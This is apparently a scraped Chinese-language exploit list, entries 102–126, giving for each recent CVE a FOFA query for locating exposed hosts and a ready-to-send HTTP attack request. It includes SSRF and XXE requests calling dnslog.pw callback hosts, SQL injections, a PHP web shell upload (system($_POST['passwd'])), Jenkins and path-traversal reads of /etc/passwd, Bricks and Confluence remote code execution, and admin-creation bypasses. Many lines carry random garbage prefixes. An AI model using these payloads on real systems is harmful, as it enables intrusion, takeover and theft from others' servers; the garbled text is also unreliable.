8 c- X6 @! V5 p: \# PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ a" a9 [: Y* M4 X: ?& ^3 c' p: e3 J( bConnection: close
Accept-Encoding: gzip
; O9 P, v# q- j  j# u5 ^) u) H2 H* \
- |7 S7 G  V9 v
4 a" Q$ r" O7 I* [& D; D7 }& q102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
, [$ l2 Z3 v% _+ ^) h0 |2 GFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
8 G/ K# ~3 i- G6 \& z" CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
, _, p+ ?/ r+ x( @& p: Y; rAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
) d9 m$ Z+ Z4 V( Z* T4 F9 l
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
( d& J9 H# k; sHost: 192.168.40.130:111
  Y5 y& B. M' q, UUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
7 ]) S1 |" F+ k  y# D6 f7 oContent-Length: 204
6 B# Y/ N0 Y- W  x) uContent-Type: application/x-www-form-urlencoded
9 _0 H& A7 W( C6 R' gAccept-Encoding: gzip
$ ?9 N9 S0 h* q  ^2 K) X1 w+ n
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
. S" C- ?# N! |2 s) R* J" E5 D
) z" s$ b+ J  A
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
4 D3 p) v! d' ^4 E/ y# w: A<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

* C& B0 ^/ e' z4 i. L! }$ F
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
1 i; e- n$ h9 C# ]$ o7 c2 jCVE-2024-0569
: P; n  Z3 q6 `# G7 B6 T* oFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
( \" `8 C' V+ P- xAccept:application/json,text/javascript，*/*;q=0.01
4 i/ ]* z& G0 s  W" s& dX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
, `) n% i" \0 |$ q/ c7 t2 c% B2 |Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
& a0 r8 W! G9 W1 g" K+ E) T  `Accept-Encoding:gzip,deflate
7 Q. p4 y( \% i$ C5 Z: ^Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
( \$ A  L+ z) w' }* H! Z; bConnection:close
6 }- G9 g- S5 ^( H" V. w* t, v
4 u8 \$ Q4 J- X) I5 _{
"topicurl":"getSysStatusCfg",
"token":""
}
6 ^& z$ [4 A+ U9 r
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
# }9 A+ L' c3 ^& t5 R# V* w0 m  eGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
; M/ _5 b' p* R! g% NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- G. ^2 w/ U2 V  r( m' i8 iBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
- I! o  K8 c! }Accept-Encoding: gzip, deflate
3 U+ V' |- f1 F1 Z' T7 eAccept-Language: zh-CN,zh;q=0.9
# k& D3 C2 T7 p( h) s2 XConnection: close
, K, ?# ~2 l$ |' O4 {7 }
8 {0 j! j7 `& @" n
' I# w7 V0 T$ V( E3 s' b9 L  g107. SpringBlade tenant/list SQL 注入
2 n) f( W5 _/ \% B* \6 DFOFA：body="https://bladex.vip"
- M' x' ]5 m+ b4 N* G( G" pGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
, M5 Q7 k4 o' ~, |" s; i, J; rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. p- b" a. U/ s5 q0 x6 OBlade-Auth:替换为自己的
2 h9 O/ u  G7 Q1 VConnection: close


108. D-Tale 3.9.0 SSRF
+ R/ c* E' G% d# V$ r  wCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
- x1 C; n" x& BAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. u5 R, G5 N2 H4 n& }( EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
9 K% f! n& c( X5 M2 ?- u6 d9 E2 X

109. Jenkins CLI 任意文件读取
) P, B$ F/ q6 ]& }0 ~  Z' X& xCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
+ l! m& }& b5 K( ^1 T3 C2 KContent-type: application/octet-stream
' c0 n2 g) ?8 p  l& C! e2 _: jSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
8 K+ {8 O8 k# ], K- v  D) E& \3 r+ JConnection: keep-alive
; e3 k6 C  E4 s9 GContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

/ n& V( }, g' t+ h
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
. g7 U% h0 |# K9 NContent-Length: 0

7 ]  D' ]& {% ]2 ^8 Y: S8 {# i
2 A, t8 {. m+ l9 a0 P! b0 J& [ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4 k# p5 z* f% v9 w% `1 ijava -jar jenkins-cli.jar help
/ Q$ _* Y& A% f3 B' i) S[COMMAND]
, L5 u% n1 w% m: R9 \Lists all the available commands or a detailed description of single command.
1 S5 K7 x7 H8 g$ |, | COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
: O6 ^: E% l9 T- m

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
$ {2 c0 O4 M. \0 B+ j1 @' yHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


' x5 G% P$ w; s" ^3 {( @% T111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
0 l8 S: {" _- L- L# C1 M. wHost: 192.168.40.130:112
5 @$ U9 K+ L$ K* b# I) E7 bUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
% S: H) Y, K( s4 h  W+ I; v2 F& A  @Accept-Encoding: gzip
& w0 G5 p3 h/ K

. w  E7 W4 T. U9 Q112. WordPress Plugin NotificationX SQL 注入
9 k6 t9 G+ `) m7 c6 w. Q+ HCVE-2024-1698
4 P- f* l3 s, z" X5 `6 z2 P  VFOFA：body="/wp-content/plugins/notificationx"
* j: K! c: k+ u9 w7 a  |POST /wp-json/notificationx/v1/analytics HTTP/1.1
6 x6 f3 q/ Q6 g/ [7 [0 lHost: {{Hostname}}
4 C5 r) g4 Q6 _. B7 i  J( b9 uContent-Type: application/json

; o* r- f+ {) F# V) H{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


$ f  {0 h! [' Z! l. H5 Z113. WordPress Automatic 插件任意文件下载和SSRF
- F( {3 r$ U9 l, a/ L, R+ P" ~CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
, V/ b, J' O! f9 U3 X$ T* g% iGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
# e0 W) p3 t; k6 D, S" m( H& b4 VHost: x.x.x.x
* V& _& _2 A* X9 S; k! B& e2 eUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! {- l- d9 ?0 e5 U" f0 O3 {Connection: close
Accept: */*
Accept-Language: en
' q4 e8 k5 v0 N" a& }1 MAccept-Encoding: gzip

- D. i( \( C  Z5 g
114. WordPress MasterStudy LMS插件 SQL注入
0 @: P8 g) t* Z, ]% X& \% Z; rFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
4 R/ W- H+ H: |# p/ d& dUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- `8 L2 n: k  G5 G) F+ oAccept-Encoding: gzip, deflate
: w1 v* u' q! q7 rConnection: close
4 V3 k9 f/ z" M
- m+ I9 J: U2 q- n- }" @. L# @
( G, U( m, C; R% I8 Y# O115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
% x/ I/ U6 _! \  wFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
" Q9 x  Z' e0 u. ?) P8 mGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
/ p" q% m% B0 T! u8 r9 x! I' bConnection: close
  Z6 ~$ ]- Y+ w/ F4 X- KAccept-Encoding: gzip
1 o, f5 u; ^; a2 W' ~, Y2 i' }
* z: s4 u7 B4 C  |2 E
& V, Q8 a* @6 Q; M第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 K: A0 Q: i) I$ W" \0 f* tContent-Length: 356
2 `) c3 K: n1 ]# n% QContent-Type: application/json
Accept-Encoding: gzip
1 G' ^) L& ^& A1 r
{
* z( U* m: B' ~$ j"postId": "1",
1 d( T4 C/ F% w0 @8 D  "nonce": "第一步获得的值",
  "element": {
3 I. y) m$ d: ^! ~6 R    "name": "container",
* J( c" G, G  Z    "settings": {
      "hasLoop": "true",
5 `7 i+ U6 v% @4 }+ T  f7 I8 C) }      "query": {
5 Q. {' |! s, ~4 Q* b        "useQueryEditor": true,
3 o8 ~5 Z1 N: V/ N5 T        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
8 }5 X& M% V0 }# t5 Y) J3 Y" n. I        "objectType": "post"
4 X* _- f2 I$ _( s4 j  W7 E      }
    }
2 |, F9 i. P1 }! i* _  }
8 [) C0 ~+ m  @) V3 P9 f- `}


116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
- P! H0 w, f0 K4 ?% I# q! sPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
# Y) i0 F8 M+ _1 eHost:
Content-Type: multipart/form-data; boundary=--------767099171
' O+ D' V8 K! s  E% h9 i$ R+ c9 q% WUser-Agent: Mozilla/5.0

' x1 c2 J! D9 V  g  b* ?) B----------767099171
. t) _  o9 p# pContent-Disposition: form-data; name="action"
: M  t) c2 ]" E' o9 L0 `# F3 Nconfiguration_saveconfiguration
) C+ U/ e  d. d( {. J' e----------767099171
Content-Disposition: form-data; name="form_request"
' X+ H5 [, [4 G% u. Gjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
! w# e4 H: m% M: \, J+ eContent-Type: image/png
----------767099171--
5 _! F( I. k5 a' s, z) P( R
( V7 O9 I7 |* Y1 M" E
117. WordPress LayerSlider插件SQL注入
# Q2 O9 q) R/ ~; _  d( \, @* Iversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ n/ ?: X: d* e+ P% R$ Z# iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
: c8 I6 R+ z  Z! C) f7 }Connection: close
1 f4 x* m' d# tUpgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
& G* O$ f4 m! c" ^9 h0 @/ j9 F0 p4 \FOFA：title="Smart管理平台"
. n2 m, H7 p% x% V! {POST /Tool/uploadfile.php? HTTP/1.1
' t# H% Y7 ~  D* Y# J1 U. @Host: 192.168.40.130:8443
* c9 z  c$ a( h6 h8 b$ RCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
* ?1 F1 ~: ]4 b! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 o) j' i( \( lAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
, f% j, P( y4 Q, \: T; UContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
/ z. d2 V# P. x7 v" |Sec-Fetch-Mode: navigate
2 X3 }; _' |- D+ G9 G/ {; W4 wSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

) @3 @+ o3 O" R/ \- l-----------------------------13979701222747646634037182887
6 ^! \3 T; Z; p3 g5 a4 |- V% mContent-Disposition: form-data; name="file_upload"; filename="contents.php"
+ a, p+ `- F; ~  G! D. qContent-Type: application/octet-stream

$ ?. ~0 t# ~* V<?php
% z! r1 T( t- s( U2 Q/ Asystem($_POST["passwd"]);
7 \& q9 g) r; x8 ?' M& R3 c: _9 Q?>
-----------------------------13979701222747646634037182887
% ^8 P* O4 v! ~" AContent-Disposition: form-data; name="txt_path"
7 B6 `) A$ h( Y1 ?* n3 t3 Z- Y  O
3 t3 b9 f9 d- y5 [/home/src.php
8 H9 c$ ?$ k- L-----------------------------13979701222747646634037182887--
" a' T1 a6 H" R
' s- A& v$ b  Z+ B. @% i
' ^) s! @/ H3 V. O4 f6 B0 r/ s- ?! \访问/home/src.php
3 C+ N$ i! I3 F- c9 q- y5 K3 T
, y$ ]0 Y, f' L119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
- F% W, T; d8 c2 [  x" }, f' C( B  |FOFA：title="Smart管理平台"
5 H' p$ T1 U' F* p! j  a4 t, z先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
  {$ J* ~% x2 ~+ T$ \( ?( ^9 i0 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
6 R2 \9 n6 E6 @8 d  ~& SAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
1 s, j" ^- K7 fContent-Length: 109
8 l+ R2 p. q1 A. e. }  h' L4 U! xOrigin: https://58.18.133.60:8443
/ c0 u$ e( x( r2 c: H: T4 Q+ HReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
' F8 [' T5 n& }  H" R: f' CX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
- ~. c' _, p8 q6 J2 r! {Te: trailers
# O9 @: |- F" p- b1 J7 SConnection: close

' ?4 S# M1 t3 W7 X( _src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
3 R9 k9 c, \. V" Z3 m) pHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
+ R* c  I% a: dUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  D' `! U$ x- Y9 S9 o* c2 R$ ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& l% z6 m; A% Q( HAccept-Encoding: gzip, deflate
& k' e8 T# g. E" ZContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
  E2 g" L: _) m6 N3 h1 |% PContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
  D2 t9 |" _4 n* v. Y3 K( m, H3 uUpgrade-Insecure-Requests: 1
/ Z( H- G: X5 ]& R% e7 LSec-Fetch-Dest: document
, m* N0 A7 V0 J' HSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 W8 N4 X- x; o# H- K: \Te: trailers
Connection: close
" `. Q7 r' w7 B* h
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
0 G, z: \" o; C2 \Content-Type: application/octet-stream

' m/ ~5 H7 d1 N* o" u$ i; i<?php phpinfo()?>
$ b/ x* o" P8 w$ w! |8 _9 F" l-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
! }) b0 o7 s; g0 R
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
1 h: i. `4 K8 h
1_radhttp
-----------------------------42328904123665875270630079328
% I( r: {" }. ~5 s9 h9 v0 v- j  TContent-Disposition: form-data; name="mode"
3 r9 n: ?) d: {. H+ u/ g
" i/ G% [% ]0 wimport
9 q4 I$ t3 @: Z2 n0 j( r-----------------------------42328904123665875270630079328
4 y& O6 e+ J* c1 h% \1 J

  Y# {" J- H1 P/ T: E9 H文件路径/upload/2.php

+ E8 w2 D5 Y7 G121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
- ^# J0 ?8 A. N8 x+ X. R1 v& IUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* G2 O% ^; m+ N3 ]* A/ BContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
1 q. o8 s7 ]% @; g. _/ ]; }Origin: https://192.168.40.130:8443
% K: J# A% }' S  M- B! H4 rUpgrade-Insecure-Requests: 1
- n: z+ A4 e* B$ \; i* _. h5 u1 S$ NSec-Fetch-Dest: document
( i# c3 \, ?! l6 Z, B- }1 |Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
% _- M, x$ M5 n2 t5 T1 ?7 @9 `; JSec-Fetch-User: ?1
Te: trailers
; A- I) L! e0 X0 C7 e3 h1 NConnection: close
0 B- R1 W/ P' K
-----------------------------42328904123665875270630079328
# A/ s# o5 E. `6 d1 `. qContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
4 c9 [$ y9 d4 E5 y: C# G! L4 j6 u
8 w" D! `) i) H: o6 s/ R<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

/ D( D. f' a9 X+ x4 \" r1
-----------------------------42328904123665875270630079328
7 ^6 q- ~6 F, zContent-Disposition: form-data; name="1_ck"

2 O) g/ j5 V6 c& j3 i9 m1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
3 ]8 g5 w4 m1 `  g  ?2 w; P
set
-----------------------------42328904123665875270630079328
% G3 e( K0 L# |
; F+ f$ P; ?$ q. ]# Z
. I3 s6 E0 i2 v& `' W3 bboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
/ u1 ]* g' P2 v2 y  {* EGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
& R% l- _6 J5 d, t. xCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
+ t" o  ~9 }+ h, [$ X/ {5 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& j; x* @% t" |% sAccept-Encoding: gzip, deflate, br
, _9 I- ]( ~. `2 y5 O+ b" i2 V7 }2 HUpgrade-Insecure-Requests: 1
9 m' r- f3 |7 Q  t. h  TSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
% u2 a( |/ Q; xConnection: close


123. Atlassian Confluence 模板注入代码执行
2 W$ i4 c. `6 s( S% l/ z9 ]" ^) CFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
6 A* C9 e! S+ i8 j* NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
/ j4 ~; i* I, Z, {, Y6 j4 j7 uContent-Type: application/x-www-form-urlencoded
& t3 Y$ O, n2 r& V4 m2 _! u
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
) D, }' }% y: U' c1 ^- M! v

3 b1 h! @3 P) T1 R4 ^; b124. 湖南建研工程质量检测系统任意文件上传
- g/ s0 h6 L/ FFOFA：body="/Content/Theme/Standard/webSite/login.css"
8 j! L5 S/ v0 S% l* S2 Y  A) W; d  RPOST /Scripts/admintool?type=updatefile HTTP/1.1
% Y% F' j- k( k, P( e# ^& bHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
' x( r/ s; n9 Q& `% S9 v$ {/ \: WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
* [; Q# T6 J" l

9 U+ a9 H9 _4 y- f/ V% u* N; hhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
. @; D# j6 ]( P& P" p
2 }* ~. b" [- ?* T125. ConnectWise ScreenConnect身份验证绕过
0 r! s4 j$ u/ Y5 U* h4 WCVE-2024-1709
FOFA：icon_hash="-82958153"
# y; E% u4 M" ?; g  y) dhttps://github.com/watchtowrlabs ... bypass-add-user-poc

9 t; k3 k& K+ v
1 C1 m- f% u' j. I7 ~% `# h# v使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
) h0 A  O  T; I' @2 L$ E0 `0 k

  w' G& W. n4 b' s! c$ L8 @$ r创建好用户后直接登录后台，可以执行系统命令。
9 Y7 o; y4 b% x/ J5 q# @: o
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
! \6 L! i/ S% g7 q  s; \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 j! f6 a* }: ^9 sConnection: close
6 c$ \3 r) z$ n: d2 WAccept: */*
Accept-Language: en
